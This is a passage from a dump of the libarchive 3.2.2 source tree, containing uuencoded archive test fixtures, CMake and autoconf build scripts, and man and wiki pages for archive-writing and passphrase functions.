M968O9F]O550%``-2=`!7=7@+``$$]0$```04````4$L!`AX`"@``````%I*" 16 | M2`````````````````0`&``````````0````NP```&=H:2]55`4``_QN`%=U 17 | M>`L``03U`0``!!0```!02P$"'@`*```````5E8)(`````````````````P`8 18 | M`````````!````#Y````:FML550%``.9=`!7=7@+``$$]0$```04````4$L! 19 | M`AX`"@``````%I*"2`````````````````0`&``````````0````00$``&UN 20 | M;R]55`4``_QN`%=U>`L``03U`0``!!0```!02P4&``````8`!@"\`0``B`$` 21 | #```` 22 | ` 23 | end 24 | -------------------------------------------------------------------------------- /libarchive-3.2.2/build/cmake/FindPCREPOSIX.cmake: -------------------------------------------------------------------------------- 1 | # - Find pcreposix 2 | # Find the native PCRE and PCREPOSIX include and libraries 3 | # 4 | # PCRE_INCLUDE_DIR - where to find pcreposix.h, etc. 5 | # PCREPOSIX_LIBRARIES - List of libraries when using libpcreposix. 6 | # PCRE_LIBRARIES - List of libraries when using libpcre. 7 | # PCREPOSIX_FOUND - True if libpcreposix found. 8 | # PCRE_FOUND - True if libpcre found. 9 | 10 | IF (PCRE_INCLUDE_DIR) 11 | # Already in cache, be silent 12 | SET(PCRE_FIND_QUIETLY TRUE) 13 | ENDIF (PCRE_INCLUDE_DIR) 14 | 15 | FIND_PATH(PCRE_INCLUDE_DIR pcreposix.h) 16 | FIND_LIBRARY(PCREPOSIX_LIBRARY NAMES pcreposix libpcreposix) 17 | FIND_LIBRARY(PCRE_LIBRARY NAMES pcre libpcre) 18 | 19 | # handle the QUIETLY and REQUIRED arguments and set PCREPOSIX_FOUND to TRUE if 20 | # all listed variables are TRUE 21 | INCLUDE(FindPackageHandleStandardArgs) 22 | FIND_PACKAGE_HANDLE_STANDARD_ARGS(PCREPOSIX DEFAULT_MSG PCREPOSIX_LIBRARY PCRE_INCLUDE_DIR) 23 | FIND_PACKAGE_HANDLE_STANDARD_ARGS(PCRE DEFAULT_MSG PCRE_LIBRARY) 24 | 25 | IF(PCREPOSIX_FOUND) 26 | SET(PCREPOSIX_LIBRARIES ${PCREPOSIX_LIBRARY}) 27 | SET(HAVE_LIBPCREPOSIX 1) 28 | SET(HAVE_PCREPOSIX_H 1) 29 | ENDIF(PCREPOSIX_FOUND) 30 | 31 | IF(PCRE_FOUND) 32 | SET(PCRE_LIBRARIES ${PCRE_LIBRARY}) 33 | SET(HAVE_LIBPCRE 1) 34 | ENDIF(PCRE_FOUND) 35 | -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/wiki/ManPageArchiveWriteData3.wiki: -------------------------------------------------------------------------------- 1 | ARCHIVE_WRITE_DATA(3) manual page 2 | == NAME == 3 | '''archive_write_data''' 4 | - functions for creating archives 5 | == LIBRARY == 6 | Streaming Archive Library (libarchive, -larchive) 7 | == SYNOPSIS == 8 | '''#include ''' 9 |
10 | ''la_ssize_t'' 11 |
12 | '''archive_write_data'''(''struct archive *'', ''const void *'', ''size_t''); 13 | == DESCRIPTION == 14 | Write data corresponding to the header just written. 15 | == RETURN VALUES == 16 | This function returns the number of bytes actually written, or 17 | a negative error code on error. 18 | == ERRORS == 19 | Detailed error codes and textual descriptions are available from the 20 | '''archive_errno'''() 21 | and 22 | '''archive_error_string'''() 23 | functions. 24 | == BUGS == 25 | In libarchive 3.x, this function sometimes returns 26 | zero on success instead of returning the number of bytes written. 27 | Specifically, this occurs when writing to an 28 | ''archive_write_disk'' 29 | handle. 30 | Clients should treat any value less than zero as an error 31 | and consider any non-negative value as success. 32 | == SEE ALSO == 33 | [[ManPageBsdtar1]], 34 | [[ManPageibarchive3]], 35 | [[ManPagerchiveriteinishntry3]], 36 | [[ManPagerchiveriteetptions3]], 37 | [[ManPageCpio5]], 38 | [[ManPageMtree5]], 39 | [[ManPageTar5]] 40 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_warc.warc.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_warc.warc 2 | M5T%20R\Q+C`-"E=!4D,M5'EP93H@=V%R8VEN9F\-"E=!4D,M1&%T93H@,C`Q 3 | M-"TP-BTQ,%0Q,3HS,3HS.%H-"DQA7!E.B!R97-O 9 | M=7)C90T*5T%20RU487)G970M55)).B!F:6QE.B\O2!I 21 | D9F8@86QL(&-O;G1E;G1S(&%R92!!4T-)22!O;FQY+@H-"@T* 22 | ` 23 | end 24 | -------------------------------------------------------------------------------- /libarchive-3.2.2/build/autoconf/ax_require_defined.m4: -------------------------------------------------------------------------------- 1 | # =========================================================================== 2 | # http://www.gnu.org/software/autoconf-archive/ax_require_defined.html 3 | # =========================================================================== 4 | # 5 | # SYNOPSIS 6 | # 7 | # AX_REQUIRE_DEFINED(MACRO) 8 | # 9 | # DESCRIPTION 10 | # 11 | # AX_REQUIRE_DEFINED is a simple helper for making sure other macros have 12 | # been defined and thus are available for use. This avoids random issues 13 | # where a macro isn't expanded. Instead the configure script emits a 14 | # non-fatal: 15 | # 16 | # ./configure: line 1673: AX_CFLAGS_WARN_ALL: command not found 17 | # 18 | # It's like AC_REQUIRE except it doesn't expand the required macro. 19 | # 20 | # Here's an example: 21 | # 22 | # AX_REQUIRE_DEFINED([AX_CHECK_LINK_FLAG]) 23 | # 24 | # LICENSE 25 | # 26 | # Copyright (c) 2014 Mike Frysinger 27 | # 28 | # Copying and distribution of this file, with or without modification, are 29 | # permitted in any medium without royalty provided the copyright notice 30 | # and this notice are preserved. This file is offered as-is, without any 31 | # warranty. 32 | 33 | #serial 1 34 | 35 | AC_DEFUN([AX_REQUIRE_DEFINED], [dnl 36 | m4_ifndef([$1], [m4_fatal([macro ]$1[ is not defined; is a m4 file missing?])]) 37 | ])dnl AX_REQUIRE_DEFINED 38 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_compat_gzip_1.tgz.uu: -------------------------------------------------------------------------------- 1 | $FreeBSD: head/lib/libarchive/test/test_compat_gzip_1.tgz.uu 185683 2008-12-06 07:08:08Z kientzle $ 2 | 3 | begin 644 test_compat_gzip_1.tgz 4 | M'XL(")B^(DD``W1EV=QL!06ER26`1T2G9F:EY)54XJ 6 | MN>9`/*(`IX<(2#/D&F@GC`(Z``#S57',@'E&`TT,$I!EQ 9 | M#;031@$5`0`Q!<\4Z`,``!^+"`B8OB))``-T97-T+7-P;&ET+G1A$0!3@\1D&;,-=!.&`5D``#7L]HO 12 | MZ`,``!^+"`B8OB))``-T97-T+7-P;&ET+G1A57',@'E&`TT,$I!ER#;031@$>``"Y*#OBZ`,``!^+"`B8 15 | MOB))``-T97-T+7-P;&ET+G1A\fP 12 | .br 13 | \fIla_ssize_t\fP 14 | .br 15 | \fB\%archive_write_data\fP(\fI\%struct\ archive\ *\fP, \fI\%const\ void\ *\fP, \fI\%size_t\fP); 16 | .SH DESCRIPTION 17 | .ad l 18 | Write data corresponding to the header just written. 19 | .SH RETURN VALUES 20 | .ad l 21 | This function returns the number of bytes actually written, or 22 | a negative error code on error. 23 | .SH ERRORS 24 | .ad l 25 | Detailed error codes and textual descriptions are available from the 26 | \fB\%archive_errno\fP() 27 | and 28 | \fB\%archive_error_string\fP() 29 | functions. 30 | .SH BUGS 31 | .ad l 32 | In libarchive 3.x, this function sometimes returns 33 | zero on success instead of returning the number of bytes written. 34 | Specifically, this occurs when writing to an 35 | Vt archive_write_disk 36 | handle. 37 | Clients should treat any value less than zero as an error 38 | and consider any non-negative value as success. 39 | .SH SEE ALSO 40 | .ad l 41 | \fBtar\fP(1), 42 | \fBlibarchive\fP(3), 43 | \fBarchive_write_finish_entry\fP(3), 44 | \fBarchive_write_set_options\fP(3), 45 | \fBcpio\fP(5), 46 | \fBmtree\fP(5), 47 | \fBtar\fP(5) 48 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_compat_bzip2_1.tbz.uu: -------------------------------------------------------------------------------- 1 | $FreeBSD: head/lib/libarchive/test/test_compat_bzip2_1.tbz.uu 185683 2008-12-06 07:08:08Z kientzle $ 2 | 3 | begin 644 test_compat_bzip2_1.tbz 4 | M0EIH.3%!62936;12^)(``#-;D=$00`!_@``!8RT>$`0`$```""``5#5/*'J> 5 | MD#(&30_5!H4_5-ZH`T``327U4@&L('"(9-%8<7&$I,`:7FXH+*\GV#JF<`PK29-8'OPDG36S\7HR&C(T:/U0:$U'I 8 | MJ!ZC0`#VECO\[$10H'-Z@F*:6A1$H$V("2G0Q(U0(8=(7AK$S04#!)RXOAP% 9 | MP:D%#Q;NO)\4UL23'2[\7````6YC1 10 | M$$`$?X```6,M'A`$`!````@@`'4-4S*,U!HT!HT?J@T)E-I--!H`![60EIH.3%!629364RNM^,```#?L-$00`#_@`0```AG 13 | M+1X0`!`$```((`!U#5-,:1IH`TT,1^J#)&H]3U`T``!CX[_.[`F40.64EC"D 14 | M()+?KX6,VP?6Y;F%5$XR[Y/D#*9),K3^+N2*<*$@9@ 18 | MX6(`0EIH.3%!62936>ZM4*4```);D-$00`#O@``(9ST>$`0```@@`'0:IFC2 19 | M&F@!B:/U0:$R&H:&@`"KS^U=Y`BC`#FY2*9-8%%&13E$@%8ZF(&J!##]!#E` 20 | MKVL'2LUW2.*C08`$)::#DQ05DF 22 | ?4UDI/)=P````0!!```0`(``A`(*#%W)%.%"0*3R7<``` 23 | ` 24 | end 25 | -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/wiki/ManPageArchiveWriteHeader3.wiki: -------------------------------------------------------------------------------- 1 | ARCHIVE_WRITE_HEADER(3) manual page 2 | == NAME == 3 | '''archive_write_header''' 4 | - functions for creating archives 5 | == LIBRARY == 6 | Streaming Archive Library (libarchive, -larchive) 7 | == SYNOPSIS == 8 | '''#include ''' 9 |
10 | ''int'' 11 |
12 | '''archive_write_header'''(''struct archive *'', ''struct archive_entry *''); 13 | == DESCRIPTION == 14 | Build and write a header using the data in the provided 15 | '''struct archive_entry''' 16 | structure. 17 | See 18 | [[ManPagerchiventry3]] 19 | for information on creating and populating 20 | '''struct archive_entry''' 21 | objects. 22 | == RETURN VALUES == 23 | This function returns 24 | '''ARCHIVE_OK''' 25 | on success, or one of the following on error: 26 | '''ARCHIVE_RETRY''' 27 | for operations that might succeed if retried, 28 | '''ARCHIVE_WARN''' 29 | for unusual conditions that do not prevent further operations, and 30 | '''ARCHIVE_FATAL''' 31 | for serious errors that make remaining operations impossible. 32 | == ERRORS == 33 | Detailed error codes and textual descriptions are available from the 34 | '''archive_errno'''() 35 | and 36 | '''archive_error_string'''() 37 | functions. 38 | == SEE ALSO == 39 | [[ManPageBsdtar1]], 40 | [[ManPageibarchive3]], 41 | [[ManPagerchiveriteetptions3]], 42 | [[ManPageCpio5]], 43 | [[ManPageMtree5]], 44 | [[ManPageTar5]] 45 | -------------------------------------------------------------------------------- /libarchive-3.2.2/tar/test/test_print_longpath.tar.Z.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_print_longpath.tar.Z 2 | M'YV04,+@05(F#)DR,H/*E$$31(P8$6_0"$H4 4 | M!`R+-&@``($'IM6K6+-JWO8+O6F4,GC!R<8^J4"//JWC.^&$H8.FA\N6)DF*!(DR,6*6C2&O9#Q9Y6++ASN^4"`# 6 | M!H@Q=-*T*=,CQ@P9-638\%B#L^?!HDF;1JV:M8(9.$`P22(DB)0A2))8*>)B 7 | MC)R"H=^X"3VZ].G4-B;FP*'`K_7KV+-KW\Z]N_?O5S-75BS^,GG'D2F;?ZR^ 8 | M?.87.&'0M(G39XV=]7_&EQO4*-(;2C%U@U,RH`;15#6`IZ!V8Y5UEDQN:1=A 9 | M=OS1U=^"&&:H85@!#53000FYA]YX[&$VXGKIF2@9BC`%-1]0]N'7DW[\R125 10 | M#/XEM91,-3DU`T0TS#!551L6"5>#9J&EEH1+4BB7A7/%=**(*U+9WI185IFE 11 | M>D;Z)0-#(`A&F&%;JGBEEFB>J::9;"JF4)GGI=EFB7&N6>>;;KSY!IQPQ!F'7!K*\>D<;:M55%V7G';J:896XDEB 13 | MBG>62N>II$8$GXL]YGKW=U2)!!"+TI)[/2PHEJMY"U.%.K,[[JJHPUVB!? 15 | MC@#N&$-J/@(I%574^AJLDF\5VR1VR/;KK;/1!KSLMP*?6"];,Y@6YF"%#0RP 16 | MP^#:27!YVDK\\+\1BUKPBA5K#/'&%F?,;0Z;=;9G;)<>"L-T@UIJZ)\RY'!; 17 | M;KOU]EMPPQ5W'&R5HOQRIC%O>O#07WUL-,8@>XS>JN/25RZZ,4)9(:WM]@0O 18 | MKC3=T"O17=X+X;[7&6M=OT]*N>W$2!]]-L!<>V7MA]FJ'7+2(SLLKGSDYF3N 19 | MTU+/!(,-[`:X4)#QVA#5D&T;Z?6P8%LGME]DUV7VW'(KO;;((27.%0TQT+#P 20 | MF)77G?;HEY,<.MJEGPYPQZ*G3CKE2+...NRNUSYWR9Z!YK.?F>800\N[8TJ1 21 | M[T(3K3KF%]N.)]-X.ZTWU+'*ZAG5@G<^@X^YUJ`U"`EJKN'BC_<5/E^17W@\ 22 | :W;-;/K?W[+?O_OOPQR___/37;__]^.>OOU<` 23 | ` 24 | end 25 | -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/wiki/ManPageArchiveWriteSetPassphrase3.wiki: -------------------------------------------------------------------------------- 1 | ARCHIVE_WRITE_SET_PASSPHRASE(3) manual page 2 | == NAME == 3 | '''archive_write_set_passphrase''', 4 | '''archive_write_set_passphrase_callback''' 5 | - functions for writing encrypted archives 6 | == LIBRARY == 7 | Streaming Archive Library (libarchive, -larchive) 8 | == SYNOPSIS == 9 | '''#include ''' 10 |
11 | ''int'' 12 |
13 | '''archive_write_set_passphrase'''(''struct archive *'', ''const char *passphrase''); 14 |
15 | ''int'' 16 |
17 | '''archive_write_set_passphrase_callback'''(''struct archive *'', ''void *client_data'', ''archive_passphrase_callback *''); 18 | == DESCRIPTION == 19 |
20 |
'''archive_write_set_passphrase'''()
21 | Set a passphrase for writing an encryption archive. 22 | If 23 | ''passphrase'' 24 | is 25 | NULL 26 | or empty, this function will do nothing and 27 | '''ARCHIVE_FAILED''' 28 | will be returned. 29 | Otherwise, 30 | '''ARCHIVE_OK''' 31 | will be returned. 32 |
'''archive_write_set_passphrase_callback'''()
33 | Register callback function that will be invoked to get a passphrase 34 | for encrption if the passphrase was not set by the 35 | '''archive_write_set_passphrase'''() 36 | function. 37 |
38 | == SEE ALSO == 39 | [[ManPageBsdtar1]], 40 | [[ManPageibarchive3]], 41 | [[ManPagerchiverite3]], 42 | [[ManPagerchiveriteetptions3]] 43 | -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/man/archive_write_header.3: -------------------------------------------------------------------------------- 1 | .TH ARCHIVE_WRITE_HEADER 3 "February 2, 2012" "" 2 | .SH NAME 3 | .ad l 4 | \fB\%archive_write_header\fP 5 | \- functions for creating archives 6 | .SH LIBRARY 7 | .ad l 8 | Streaming Archive Library (libarchive, -larchive) 9 | .SH SYNOPSIS 10 | .ad l 11 | \fB#include \fP 12 | .br 13 | \fIint\fP 14 | .br 15 | \fB\%archive_write_header\fP(\fI\%struct\ archive\ *\fP, \fI\%struct\ archive_entry\ *\fP); 16 | .SH DESCRIPTION 17 | .ad l 18 | Build and write a header using the data in the provided 19 | Tn struct archive_entry 20 | structure. 21 | See 22 | \fBarchive_entry\fP(3) 23 | for information on creating and populating 24 | Tn struct archive_entry 25 | objects. 26 | .SH RETURN VALUES 27 | .ad l 28 | This function returns 29 | \fBARCHIVE_OK\fP 30 | on success, or one of the following on error: 31 | \fBARCHIVE_RETRY\fP 32 | for operations that might succeed if retried, 33 | \fBARCHIVE_WARN\fP 34 | for unusual conditions that do not prevent further operations, and 35 | \fBARCHIVE_FATAL\fP 36 | for serious errors that make remaining operations impossible. 37 | .SH ERRORS 38 | .ad l 39 | Detailed error codes and textual descriptions are available from the 40 | \fB\%archive_errno\fP() 41 | and 42 | \fB\%archive_error_string\fP() 43 | functions. 44 | .SH SEE ALSO 45 | .ad l 46 | \fBtar\fP(1), 47 | \fBlibarchive\fP(3), 48 | \fBarchive_write_set_options\fP(3), 49 | \fBcpio\fP(5), 50 | \fBmtree\fP(5), 51 | \fBtar\fP(5) 52 | -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/wiki/ManPageArchiveReadAddPassphrase3.wiki: -------------------------------------------------------------------------------- 1 | ARCHIVE_READ_ADD_PASSPHRASE(3) manual page 2 | == NAME == 3 | '''archive_read_add_passphrase''', 4 | '''archive_read_set_passphrase_callback''' 5 | - functions for reading encrypted archives 6 | == LIBRARY == 7 | Streaming Archive Library (libarchive, -larchive) 8 | == SYNOPSIS == 9 | '''#include ''' 10 |
11 | ''int'' 12 |
13 | '''archive_read_add_passphrase'''(''struct archive *'', ''const char *passphrase''); 14 |
15 | ''int'' 16 |
17 | '''archive_read_set_passphrase_callback'''(''struct archive *'', ''void *client_data'', ''archive_passphrase_callback *''); 18 | == DESCRIPTION == 19 |
20 |
'''archive_read_add_passphrase'''()
21 | Register passphrases for reading an encryption archive. 22 | If 23 | ''passphrase'' 24 | is 25 | NULL 26 | or empty, this function will do nothing and 27 | '''ARCHIVE_FAILED''' 28 | will be returned. 29 | Otherwise, 30 | '''ARCHIVE_OK''' 31 | will be returned. 32 |
'''archive_read_set_passphrase_callback'''()
33 | Register callback function that will be invoked to get a passphrase 34 | for decrption after trying all passphrases registered by the 35 | '''archive_read_add_passphrase'''() 36 | function failed. 37 |
38 | == SEE ALSO == 39 | [[ManPageBsdtar1]], 40 | [[ManPageibarchive3]], 41 | [[ManPagerchiveead3]], 42 | [[ManPagerchiveeadetptions3]] 43 | -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/man/archive_write_set_passphrase.3: -------------------------------------------------------------------------------- 1 | .TH ARCHIVE_WRITE_SET_PASSPHRASE 3 "September 21, 2014" "" 2 | .SH NAME 3 | .ad l 4 | \fB\%archive_write_set_passphrase\fP, 5 | \fB\%archive_write_set_passphrase_callback\fP 6 | \- functions for writing encrypted archives 7 | .SH LIBRARY 8 | .ad l 9 | Streaming Archive Library (libarchive, -larchive) 10 | .SH SYNOPSIS 11 | .ad l 12 | \fB#include \fP 13 | .br 14 | \fIint\fP 15 | .br 16 | \fB\%archive_write_set_passphrase\fP(\fI\%struct\ archive\ *\fP, \fI\%const\ char\ *passphrase\fP); 17 | .br 18 | \fIint\fP 19 | .br 20 | \fB\%archive_write_set_passphrase_callback\fP(\fI\%struct\ archive\ *\fP, \fI\%void\ *client_data\fP, \fI\%archive_passphrase_callback\ *\fP); 21 | .SH DESCRIPTION 22 | .ad l 23 | .RS 5 24 | .TP 25 | \fB\%archive_write_set_passphrase\fP() 26 | Set a passphrase for writing an encryption archive. 27 | If 28 | \fIpassphrase\fP 29 | is 30 | .BR NULL 31 | or empty, this function will do nothing and 32 | \fBARCHIVE_FAILED\fP 33 | will be returned. 34 | Otherwise, 35 | \fBARCHIVE_OK\fP 36 | will be returned. 37 | .TP 38 | \fB\%archive_write_set_passphrase_callback\fP() 39 | Register callback function that will be invoked to get a passphrase 40 | for encrption if the passphrase was not set by the 41 | \fB\%archive_write_set_passphrase\fP() 42 | function. 43 | .RE 44 | .SH SEE ALSO 45 | .ad l 46 | \fBtar\fP(1), 47 | \fBlibarchive\fP(3), 48 | \fBarchive_write\fP(3), 49 | \fBarchive_write_set_options\fP(3) 50 | -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/text/archive_write_finish_entry.3.txt: -------------------------------------------------------------------------------- 1 | ARCHIVE_WRITE_FINISH_... BSD Library Functions Manual ARCHIVE_WRITE_FINISH_... 2 | 3 | NAME 4 | archive_write_finish_entry — functions for creating archives 5 | 6 | LIBRARY 7 | Streaming Archive Library (libarchive, -larchive) 8 | 9 | SYNOPSIS 10 | #include 11 | 12 | int 13 | archive_write_finish_entry(struct archive *); 14 | 15 | DESCRIPTION 16 | Close out the entry just written. In particular, this writes out the 17 | final padding required by some formats. Ordinarily, clients never need 18 | to call this, as it is called automatically by archive_write_header() and 19 | archive_write_close() as needed. 20 | 21 | RETURN VALUES 22 | This function returns ARCHIVE_OK on success, or one of several non-zero 23 | error codes for errors. Specific error codes include: ARCHIVE_RETRY for 24 | operations that might succeed if retried, ARCHIVE_WARN for unusual condi‐ 25 | tions that do not prevent further operations, and ARCHIVE_FATAL for seri‐ 26 | ous errors that make remaining operations impossible. 27 | 28 | ERRORS 29 | Detailed error codes and textual descriptions are available from the 30 | archive_errno() and archive_error_string() functions. 31 | 32 | SEE ALSO 33 | tar(1), libarchive(3), archive_write_data(3), 34 | archive_write_set_options(3), cpio(5), mtree(5), tar(5) 35 | 36 | BSD February 2, 2012 BSD 37 | -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/man/archive_read_add_passphrase.3: -------------------------------------------------------------------------------- 1 | .TH ARCHIVE_READ_ADD_PASSPHRASE 3 "September 14, 2014" "" 2 | .SH NAME 3 | .ad l 4 | \fB\%archive_read_add_passphrase\fP, 5 | \fB\%archive_read_set_passphrase_callback\fP 6 | \- functions for reading encrypted archives 7 | .SH LIBRARY 8 | .ad l 9 | Streaming Archive Library (libarchive, -larchive) 10 | .SH SYNOPSIS 11 | .ad l 12 | \fB#include \fP 13 | .br 14 | \fIint\fP 15 | .br 16 | \fB\%archive_read_add_passphrase\fP(\fI\%struct\ archive\ *\fP, \fI\%const\ char\ *passphrase\fP); 17 | .br 18 | \fIint\fP 19 | .br 20 | \fB\%archive_read_set_passphrase_callback\fP(\fI\%struct\ archive\ *\fP, \fI\%void\ *client_data\fP, \fI\%archive_passphrase_callback\ *\fP); 21 | .SH DESCRIPTION 22 | .ad l 23 | .RS 5 24 | .TP 25 | \fB\%archive_read_add_passphrase\fP() 26 | Register passphrases for reading an encryption archive. 27 | If 28 | \fIpassphrase\fP 29 | is 30 | .BR NULL 31 | or empty, this function will do nothing and 32 | \fBARCHIVE_FAILED\fP 33 | will be returned. 34 | Otherwise, 35 | \fBARCHIVE_OK\fP 36 | will be returned. 37 | .TP 38 | \fB\%archive_read_set_passphrase_callback\fP() 39 | Register callback function that will be invoked to get a passphrase 40 | for decrption after trying all passphrases registered by the 41 | \fB\%archive_read_add_passphrase\fP() 42 | function failed. 43 | .RE 44 | .SH SEE ALSO 45 | .ad l 46 | \fBtar\fP(1), 47 | \fBlibarchive\fP(3), 48 | \fBarchive_read\fP(3), 49 | \fBarchive_read_set_options\fP(3) 50 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_compat_zip_4.zip.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_compat_zip_4.zip 2 | M```````````````````````````````````````````````````````````` 3 | M```````````````````````````````````````````````````````````` 4 | M```````````````````````````````````````````````````````````` 5 | M```````````````````````````````````````````````````````````` 6 | M```````````````````````````````````````````````````````````` 7 | M```````````````````````````````````````````````````````````` 8 | M```````````````````````````````````````````````````````````` 9 | M```````````````````````````````````````````````````````````` 10 | M```````````````````````````````````````````````````````````` 11 | M```````````````````````````````````````````````````````````` 12 | M```````````````````````````````````````````````````````````` 13 | M`````````````````````%!+`P0*``````"#KG(_J&4R?@0````$`````P`< 14 | M`&9O;U54"0`#!43'3A5$QTYU>`L``03U`0``!!0```!F;V\*4$L#!`H````` 15 | M`(2N\P$````!`````,`'`!B87I5 17 | M5`D``PM$QTX+1,=.=7@+``$$]0$```04````8F%Z"E!+`0(>`PH``````(.N 18 | M`L``03U`0``!!0```!02P$"'@,*``````"$KG(_Z;.B!`0````$`````P`8 20 | M```````!``$`=X%``@``8F%R550%``,'1,=.=7@+``$$]0$```04````4$L! 21 | M`AX#"@``````AJYR/^$Y>\P$````!`````,`&````````0```*2!@0(``&)A 22 | M>E54!0`#"T3'3G5X"P`!!/4!```$%````%!+!08``````P`#`-L```#"`@`` 23 | "```` 24 | ` 25 | end 26 | -------------------------------------------------------------------------------- /libarchive-3.2.2/build/cmake/CheckTypeExists.cmake: -------------------------------------------------------------------------------- 1 | # - Check if the system has the specified type 2 | # CHECK_TYPE_EXISTS (TYPE HEADER VARIABLE) 3 | # 4 | # TYPE - the name of the type or struct or class you are interested in 5 | # HEADER - the header(s) where the prototype should be declared 6 | # VARIABLE - variable to store the result 7 | # 8 | # The following variables may be set before calling this macro to 9 | # modify the way the check is run: 10 | # 11 | # CMAKE_REQUIRED_FLAGS = string of compile command line flags 12 | # CMAKE_REQUIRED_DEFINITIONS = list of macros to define (-DFOO=bar) 13 | # CMAKE_REQUIRED_INCLUDES = list of include directories 14 | # Copyright (c) 2009, Michihiro NAKAJIMA 15 | # Copyright (c) 2006, Alexander Neundorf, 16 | # 17 | # Redistribution and use is allowed according to the terms of the BSD license. 18 | # For details see the accompanying COPYING-CMAKE-SCRIPTS file. 19 | 20 | 21 | INCLUDE(CheckCSourceCompiles) 22 | 23 | MACRO (CHECK_TYPE_EXISTS _TYPE _HEADER _RESULT) 24 | SET(_INCLUDE_FILES) 25 | FOREACH (it ${_HEADER}) 26 | SET(_INCLUDE_FILES "${_INCLUDE_FILES}#include <${it}>\n") 27 | ENDFOREACH (it) 28 | 29 | SET(_CHECK_TYPE_EXISTS_SOURCE_CODE " 30 | ${_INCLUDE_FILES} 31 | int main() 32 | { 33 | static ${_TYPE} tmp; 34 | if (sizeof(tmp)) 35 | return 0; 36 | return 0; 37 | } 38 | ") 39 | CHECK_C_SOURCE_COMPILES("${_CHECK_TYPE_EXISTS_SOURCE_CODE}" ${_RESULT}) 40 | 41 | ENDMACRO (CHECK_TYPE_EXISTS) 42 | 43 | -------------------------------------------------------------------------------- /libarchive-3.2.2/build/cmake/CreatePkgConfigFile.cmake: -------------------------------------------------------------------------------- 1 | # - Generate a libarchive.pc like autotools for pkg-config 2 | # 3 | 4 | # Set the required variables (we use the same input file as autotools) 5 | SET(prefix ${CMAKE_INSTALL_PREFIX}) 6 | SET(exec_prefix \${prefix}) 7 | SET(libdir \${exec_prefix}/lib) 8 | SET(includedir \${prefix}/include) 9 | # Now, this is not particularly pretty, nor is it terribly accurate... 10 | # Loop over all our additional libs 11 | FOREACH(mylib ${ADDITIONAL_LIBS}) 12 | # Extract the filename from the absolute path 13 | GET_FILENAME_COMPONENT(mylib_name ${mylib} NAME_WE) 14 | # Strip the lib prefix 15 | STRING(REGEX REPLACE "^lib" "" mylib_name ${mylib_name}) 16 | # Append it to our LIBS string 17 | SET(LIBS "${LIBS} -l${mylib_name}") 18 | ENDFOREACH() 19 | # libxml2 is easier, since it's already using pkg-config 20 | FOREACH(mylib ${PC_LIBXML_STATIC_LDFLAGS}) 21 | SET(LIBS "${LIBS} ${mylib}") 22 | ENDFOREACH() 23 | # FIXME: The order of the libraries doesn't take dependencies into account, 24 | # thus there's a good chance it'll make some binutils versions unhappy... 25 | # This only affects Libs.private (looked up for static builds) though. 26 | CONFIGURE_FILE(${CMAKE_CURRENT_SOURCE_DIR}/build/pkgconfig/libarchive.pc.in 27 | ${CMAKE_CURRENT_SOURCE_DIR}/build/pkgconfig/libarchive.pc 28 | @ONLY) 29 | # And install it, of course ;). 30 | IF(ENABLE_INSTALL) 31 | INSTALL(FILES ${CMAKE_CURRENT_SOURCE_DIR}/build/pkgconfig/libarchive.pc 32 | DESTINATION "lib/pkgconfig") 33 | ENDIF() 34 | -------------------------------------------------------------------------------- /libarchive-3.2.2/tar/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | ############################################ 2 | # 3 | # How to build bsdtar 4 | # 5 | ############################################ 6 | IF(ENABLE_TAR) 7 | 8 | SET(bsdtar_SOURCES 9 | bsdtar.c 10 | bsdtar.h 11 | bsdtar_platform.h 12 | cmdline.c 13 | creation_set.c 14 | read.c 15 | subst.c 16 | util.c 17 | write.c 18 | ../libarchive_fe/err.c 19 | ../libarchive_fe/err.h 20 | ../libarchive_fe/lafe_platform.h 21 | ../libarchive_fe/line_reader.c 22 | ../libarchive_fe/line_reader.h 23 | ../libarchive_fe/passphrase.c 24 | ../libarchive_fe/passphrase.h 25 | ) 26 | INCLUDE_DIRECTORIES(${CMAKE_CURRENT_SOURCE_DIR}/../libarchive_fe) 27 | IF(WIN32 AND NOT CYGWIN) 28 | LIST(APPEND bsdtar_SOURCES bsdtar_windows.c) 29 | LIST(APPEND bsdtar_SOURCES bsdtar_windows.h) 30 | ENDIF(WIN32 AND NOT CYGWIN) 31 | 32 | # bsdtar documentation 33 | SET(bsdtar_MANS bsdtar.1) 34 | 35 | # How to build bsdtar 36 | ADD_EXECUTABLE(bsdtar ${bsdtar_SOURCES}) 37 | IF(ENABLE_TAR_SHARED) 38 | TARGET_LINK_LIBRARIES(bsdtar archive ${ADDITIONAL_LIBS}) 39 | ELSE(ENABLE_TAR_SHARED) 40 | TARGET_LINK_LIBRARIES(bsdtar archive_static ${ADDITIONAL_LIBS}) 41 | SET_TARGET_PROPERTIES(bsdtar PROPERTIES COMPILE_DEFINITIONS 42 | LIBARCHIVE_STATIC) 43 | ENDIF(ENABLE_TAR_SHARED) 44 | 45 | # Installation rules 46 | INSTALL(TARGETS bsdtar RUNTIME DESTINATION bin) 47 | INSTALL_MAN(${bsdtar_MANS}) 48 | ENDIF(ENABLE_TAR) 49 | 50 | add_subdirectory(test) 51 | -------------------------------------------------------------------------------- /libarchive-3.2.2/cpio/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | ############################################ 2 | # 3 | # How to build bsdcpio 4 | # 5 | ############################################ 6 | IF(ENABLE_CPIO) 7 | 8 | SET(bsdcpio_SOURCES 9 | cmdline.c 10 | cpio.c 11 | cpio.h 12 | cpio_platform.h 13 | ../libarchive_fe/err.c 14 | ../libarchive_fe/err.h 15 | ../libarchive_fe/lafe_platform.h 16 | ../libarchive_fe/line_reader.c 17 | ../libarchive_fe/line_reader.h 18 | ../libarchive_fe/passphrase.c 19 | ../libarchive_fe/passphrase.h 20 | ) 21 | 